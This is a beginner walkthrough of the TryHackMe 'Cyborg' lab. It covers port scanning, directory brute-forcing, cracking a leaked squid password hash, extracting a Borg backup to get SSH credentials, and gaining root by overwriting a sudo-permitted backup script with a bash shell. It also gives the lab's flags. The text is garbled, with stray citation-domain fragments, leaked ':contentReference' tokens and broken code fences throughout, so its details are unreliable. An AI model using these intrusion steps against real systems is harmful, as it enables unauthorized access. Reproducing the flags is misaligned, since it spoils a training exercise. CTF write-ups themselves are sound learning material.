🧠 TryHackMe “Cyborg” Walkthrough

Box type: Beginner

@Chris Noble

🔍 Step 1: Initial Scan

```
nmap -sC -sV <TARGET_IP>
```

Found 2 open ports:

- **22:** SSH
- **80:** HTTP natryvat.com+9aldeid.com+9infosecwriteups.com+9

🌐 Step 2: Web Enumeration

Used **Gobuster** with `common.txt` wordlist:

```
gobuster dir -u http://<TARGET_IP> -w common.txt -x php,txt
```

Found:

- `/etc`
- `/admin` jalblas.com+4aldeid.com+4blog.carsonshaffer.me+4

🧩 Step 3: Retrieve Squid Credentials

- Accessed `http://.../etc/squid/passwd` and got:

  ```
  music_archive:$apr1$BpZ.Q.1m$F0qqPwHSOG50URuOVQTTn.
  ```

- Cracked it (using John/hashcat) to find password `squidward`
  blog.carsonshaffer.me+2aldeid.com+2medium.com+2jalblas.com

🗃️ Step 4: Download and Inspect Archive

- Visited `/admin`, found a button to download `archive.tar`
- Extracted it, found a folder:

```
home/field/dev/final_archive
```

- Inside, found a **README** indicating it's a **BorgBackup** repository
  blog.carsonshaffer.me+4aldeid.com+4jalblas.com+4

💽 Step 5: Extract Backup with Borg

Installed **borgbackup** and listed the archive:

```
borg list final_archive
```

- Using password `squidward`, listed and extracted `music_archive`:

```
borg extract final_archive::music_archive
```

- Revealed `home/alex/Documents/note.txt` containing:

```
alex:S3cretP@s3
``` :contentReference[oaicite:15]{index=15}
```

---

## 🔐 Step 6: SSH as Alex

```
ssh [email protected]
```

- Captured **user flag**:

```
flag{1_hop3_y0u_ke3p_th3_arch1v3s_saf3}
``` :contentReference[oaicite:17]{index=17}
```

🛠️ Step 7: Privilege Escalation → Root

- Checked sudo permissions:

  ```
  sudo -l
  ```

  Showed permission to run:

  ```
  /etc/mp3backups/backup.sh (NOPASSWD)
  ``` :contentReference[oaicite:20]{index=20}
  ```

- Script is owned by `alex` but not writable. Gained write access:

```
chmod +w /etc/mp3backups/backup.sh
echo -e '#!/bin/bash\n/bin/bash' > /etc/mp3backups/backup.sh
sudo /etc/mp3backups/backup.sh
```

- Got **root shell** and captured **root flag**:

  ```
  flag{Than5s_f0r_play1ng_H0p£_y0u_enJ053d}
  ``` :contentReference[oaicite:23]{index=23}
  ```